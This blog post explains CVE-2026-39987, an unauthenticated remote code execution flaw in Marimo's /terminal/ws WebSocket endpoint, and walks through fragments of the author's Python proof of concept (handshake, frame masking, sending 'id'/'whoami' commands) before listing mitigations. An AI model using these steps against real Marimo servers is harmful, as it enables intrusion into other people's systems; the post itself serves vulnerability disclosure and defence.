August 14, 2026
CVE-2026–39987: Marimo Pre-Authentication Remote Code Execution
CVE-2026–39987 is a critical pre-authentication Remote Code Execution (RCE) vulnerability affecting Marimo, an open-source reactive Python…

By Raj Kumar M
7 min read
CVE-2026–39987 is a critical pre-authentication Remote Code Execution (RCE) vulnerability affecting Marimo, an open-source reactive Python notebook platform. The vulnerability exists in Marimo's /terminal/ws WebSocket endpoint, which fails to properly validate authentication. An unauthenticated remote attacker can abuse this endpoint to obtain a full interactive terminal (PTY) shell on the underlying server and execute arbitrary system commands. The vulnerability is tracked as CWE-306 (Missing Authentication for Critical Function) and has a CVSS 3.1 score of 9.8 (Critical).
What is Marimo?
Before understanding the vulnerability, let's understand what Marimo actually does.
Marimo is an open-source reactive Python notebook designed for developers, data scientists, researchers, and machine-learning engineers. It provides an interactive environment where users can write Python code, execute it, visualize results, work with data, and build interactive applications.
You can think of Marimo as a modern Python notebook environment similar to Jupyter, but with a strong focus on reactive execution.
A simple workflow looks like this:
Python Code ->Marimo Notebook -> Execute Python -> Analyze Data / ML / Visualization -> Interactive Results -> Optional Web ApplicationPython Code ->Marimo Notebook -> Execute Python -> Analyze Data / ML / Visualization -> Interactive Results -> Optional Web ApplicationMarimo notebooks can also be served through a web interface. This makes it possible for developers and teams to access notebooks remotely and interact with Python-based applications through a browser.
This web-based functionality is important from a security perspective because the Marimo server exposes HTTP and WebSocket endpoints to communicate with the browser.
Why is a Terminal Available in Marimo?
Marimo is not simply displaying Python code.
A developer may need to interact with the underlying environment while working with a notebook. For example, they may need to inspect files, execute commands, install dependencies, or perform other development tasks.
For this reason, Marimo provides an integrated terminal.
Conceptually, the architecture looks like this:
Browser
|
| WebSocket
↓
┌─────────────────┐
│ Marimo Server │
└─────────────────┘
|
↓
Terminal / PTY
|
↓
Operating SystemBrowser
|
| WebSocket
↓
┌─────────────────┐
│ Marimo Server │
└─────────────────┘
|
↓
Terminal / PTY
|
↓
Operating SystemThe browser communicates with the Marimo server using a WebSocket connection.
The server then connects that WebSocket session to a PTY (pseudo-terminal) on the host.
A legitimate authenticated user can therefore interact with a terminal through the browser.
The important security question is:
What happens if the server does not verify who is connecting to that terminal?
That is exactly the problem behind CVE-2026–39987.
Understanding WebSockets
Before looking at the vulnerability, we need to understand WebSockets, because Marimo's terminal communicates through a WebSocket endpoint.
A WebSocket allows a client and server to maintain a persistent, two-way connection.
TypeHow it worksExampleHTTPRequest → Response → Connection endsOpening a webpageWebSocketConnect once → Keep communicatingChat, games, terminals
Think of HTTP like sending SMS messages: you send a message and receive a reply.
A WebSocket is like a phone call: once the connection is established, both sides can continue communicating.
How Does a WebSocket Connection Start?
A WebSocket connection initially starts with an HTTP request. The client asks the server to upgrade the connection:
GET /terminal/ws HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: random-value
Sec-WebSocket-Version: 13GET /terminal/ws HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: random-value
Sec-WebSocket-Version: 13If the server accepts the request, it responds:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: UpgradeHTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: UpgradeThe 101 Switching Protocols response means that the HTTP connection has now been upgraded to a WebSocket connection.
Client ←────────────────→ Server
WebSocket
ConnectionClient ←────────────────→ Server
WebSocket
ConnectionFrom this point, both sides can continuously exchange data.
How Is Data Sent?
After the upgrade, WebSocket uses frames to transfer data rather than normal HTTP requests.
A simplified frame looks like:
┌──────────────────┐
│ Frame Header │
├──────────────────┤
│ Masking Key │
├──────────────────┤
│ Payload / Data │
└──────────────────┘┌──────────────────┐
│ Frame Header │
├──────────────────┤
│ Masking Key │
├──────────────────┤
│ Payload / Data │
└──────────────────┘The payload contains the actual message.
For client-to-server communication, the payload is masked using a 4-byte masking key, as required by the WebSocket protocol.
Masking is not encryption. It is simply part of the WebSocket protocol.
Why Does This Matter for CVE-2026–39987?
In Marimo, the browser communicates with the terminal through a WebSocket endpoint:
Browser
↓
WebSocket
↓
Marimo Server
↓
Terminal / PTY
↓
Operating SystemBrowser
↓
WebSocket
↓
Marimo Server
↓
Terminal / PTY
↓
Operating SystemThis means the WebSocket is providing a communication channel to a server-side terminal.
Therefore, the endpoint must properly enforce authentication and authorization.
This brings us to the root cause of CVE-2026–39987.
Technical Root Cause
The core issue in CVE-2026–39987 is a missing authentication check on the /terminal/ws WebSocket endpoint.
Under normal circumstances, access to a sensitive terminal should follow a security flow like this:
Client
↓
/terminal/ws
↓
Authentication
↓
Authorization
↓
TerminalClient
↓
/terminal/ws
↓
Authentication
↓
Authorization
↓
TerminalThe server should first determine who the user is and then determine whether that user is allowed to access the terminal.
The vulnerable flow was different:
Attacker
↓
/terminal/ws
↓
Missing Authentication
↓
TerminalAttacker
↓
/terminal/ws
↓
Missing Authentication
↓
TerminalThe problem is therefore not the WebSocket protocol itself.
The problem is that a sensitive functionality was reachable through a WebSocket endpoint without properly enforcing the authentication boundary.
Because the endpoint ultimately provides communication with a PTY, bypassing that authentication boundary can lead to command execution on the underlying system.
This is why the vulnerability is classified as CWE-306 — Missing Authentication for Critical Function.
Building My Own Python PoC
After understanding the root cause, I wanted to reproduce the vulnerability manually in my authorized lab environment rather than relying on an existing exploitation framework.
I wrote a Python script using standard Python libraries such as:
socket
ssl
base64
struct
os
time
resocket
ssl
base64
struct
os
time
reThe script manually implements the communication flow:
Python Script
↓
TCP Connection
↓
TLS Connection
↓
WebSocket Handshake
↓
/terminal/ws
↓
WebSocket Frame
↓
Terminal Input
↓
Server Response
↓
Frame Parsing
↓
OutputPython Script
↓
TCP Connection
↓
TLS Connection
↓
WebSocket Handshake
↓
/terminal/ws
↓
WebSocket Frame
↓
Terminal Input
↓
Server Response
↓
Frame Parsing
↓
OutputThe goal was to understand what happens at the protocol level when connecting to the vulnerable terminal endpoint.
Establishing the Connection
The script first creates a TCP connection:
raw = socket.create_connection((TARGET_IP, 443), timeout=10)raw = socket.create_connection((TARGET_IP, 443), timeout=10)Because the target uses HTTPS, the TCP connection is then wrapped with TLS:
sock = context.wrap_socket(raw, server_hostname=HOST)sock = context.wrap_socket(raw, server_hostname=HOST)At this point, the script has established a TLS-protected connection with the server.
Performing the WebSocket Handshake
The next step is upgrading the HTTP connection to WebSocket.
The script generates a random value for Sec-WebSocket-Key:
key = base64.b64encode(os.urandom(16)).decode()key = base64.b64encode(os.urandom(16)).decode()This value is part of the WebSocket handshake protocol. It is important to clarify that this is not an authentication credential or password.
The script then creates the upgrade request:
GET /terminal/ws HTTP/1.1
Host: <target>
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: <random-value>
Sec-WebSocket-Version: 13
Origin: https://<target>GET /terminal/ws HTTP/1.1
Host: <target>
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: <random-value>
Sec-WebSocket-Version: 13
Origin: https://<target>The key endpoint in this request is:
/terminal/ws/terminal/wsThe script sends the request directly through the socket and waits for the server response.
If the response contains:
HTTP/1.1 101 Switching ProtocolsHTTP/1.1 101 Switching Protocolsthe WebSocket handshake has succeeded.
Constructing a WebSocket Frame
Once the WebSocket connection is established, data cannot simply be sent as raw text.
It must be placed inside a WebSocket frame.
The script converts the test command into bytes:
data = (command + "\n").encode()data = (command + "\n").encode()It then calculates the payload length and creates a random 4-byte masking key:
length = len(data)
mask = os.urandom(4)length = len(data)
mask = os.urandom(4)The payload is masked using XOR:
masked = bytes([
data[i] ^ mask[i % 4]
for i in range(length)
])masked = bytes([
data[i] ^ mask[i % 4]
for i in range(length)
])Conceptually:
Original Payload
+
4-byte Masking Key
↓
XOR
↓
Masked PayloadOriginal Payload
+
4-byte Masking Key
↓
XOR
↓
Masked PayloadThe masking is required for client-to-server WebSocket frames.
Again, this is not encryption. It is a protocol-level requirement of WebSockets.
Building the Frame Header
The script then constructs the WebSocket frame header:
header = struct.pack("!BB", 0x81, 0x80 | length)header = struct.pack("!BB", 0x81, 0x80 | length)The first byte, 0x81, represents:
FIN = 1
Opcode = 1FIN = 1
Opcode = 1Here:
FIN = 1indicates that this is the final frame.Opcode = 1indicates a text frame.
The second byte contains the payload length and the MASK bit.
The resulting structure is approximately:
┌─────────────────────┐
│ Frame Header │
├─────────────────────┤
│ 4-byte Mask │
├─────────────────────┤
│ Masked Payload │
└─────────────────────┘┌─────────────────────┐
│ Frame Header │
├─────────────────────┤
│ 4-byte Mask │
├─────────────────────┤
│ Masked Payload │
└─────────────────────┘The complete frame is then sent through the WebSocket connection.
Sending Test Commands
For the lab reproduction, I used simple commands to verify the execution context:
commands = ["id", "whoami", "hostname"]commands = ["id", "whoami", "hostname"]These commands are useful because they provide basic information about the process and host without performing destructive actions.
For example:
ididcan show the identity and privileges of the process.
whoamiwhoamishows the operating-system user running the process.
And:
hostnamehostnameidentifies the host.
The communication flow is:
Python PoC
↓
WebSocket Frame
↓
/terminal/ws
↓
Marimo Server
↓
Terminal / PTY
↓
Operating System
↓
Command OutputPython PoC
↓
WebSocket Frame
↓
/terminal/ws
↓
Marimo Server
↓
Terminal / PTY
↓
Operating System
↓
Command OutputReceiving the Server Response
Sending the request is only one part of the process.
The server also sends its response through WebSocket frames.
The PoC therefore contains a function to receive and parse those frames.
The script first collects the raw bytes:
chunk = sock.recv(4096)chunk = sock.recv(4096)It then reads the WebSocket frame header to determine the payload length:
second_byte = buffer[1]
payload_len = second_byte & 0x7Fsecond_byte = buffer[1]
payload_len = second_byte & 0x7FThe script also handles extended payload lengths when required.
Once the complete frame is available, it extracts the payload:
payload = buffer[offset:offset + payload_len]payload = buffer[offset:offset + payload_len]The payload is then decoded and displayed as text.
Because terminal applications can return ANSI escape sequences and other control characters, the script also removes some of these characters to make the output easier to read.
This output-cleaning step is not part of the vulnerability. It is simply processing the terminal response.
What the PoC Demonstrates
The complete process can be summarized as:
1. Connect
↓
2. Establish TLS
↓
3. Perform WebSocket Handshake
↓
4. Construct WebSocket Frame
↓
5. Send Data
↓
6. Receive and Parse Response
↓
7. Display Output1. Connect
↓
2. Establish TLS
↓
3. Perform WebSocket Handshake
↓
4. Construct WebSocket Frame
↓
5. Send Data
↓
6. Receive and Parse Response
↓
7. Display OutputThe important observation from the lab testing was that the terminal WebSocket endpoint could be reached without the authentication barrier that should have protected this sensitive functionality.
That demonstrates the core issue behind CVE-2026–39987.
The vulnerability is therefore not a problem with WebSockets themselves.
The problem is that a sensitive WebSocket endpoint was exposed without properly enforcing authentication.
Impact
The impact of successful exploitation depends on the privileges and environment in which Marimo is running.
The general attack path can be represented as:
Unauthenticated Access
↓
Terminal Access
↓
Command Execution
↓
Access Based on Marimo's PrivilegesUnauthenticated Access
↓
Terminal Access
↓
Command Execution
↓
Access Based on Marimo's PrivilegesIf Marimo is running with access to sensitive files, credentials, environment variables, internal services, or other resources, those resources could potentially become accessible to an attacker.
For this reason, the security impact should not be evaluated only at the application level.
The privileges of the underlying Marimo process are also important.
Mitigation
The most important mitigation is to upgrade Marimo to a fixed version.
In addition, administrators should consider the following security controls:
- Upgrade Marimo to the fixed release or a later version.
- Avoid exposing Marimo directly to the public Internet unless required.
- Restrict access to trusted networks or users.
- Use appropriate authentication and authorization controls at the application or reverse-proxy layer.
- Run Marimo with the least privileges necessary.
- Review logs for unexpected access to the
/terminal/wsendpoint. - Investigate exposed or potentially compromised instances.
- Rotate credentials or secrets if there is evidence that a vulnerable instance was compromised.
The goal is not simply to protect the WebSocket endpoint. The entire deployment should be treated as a potentially sensitive system because the terminal functionality can interact with the underlying operating system.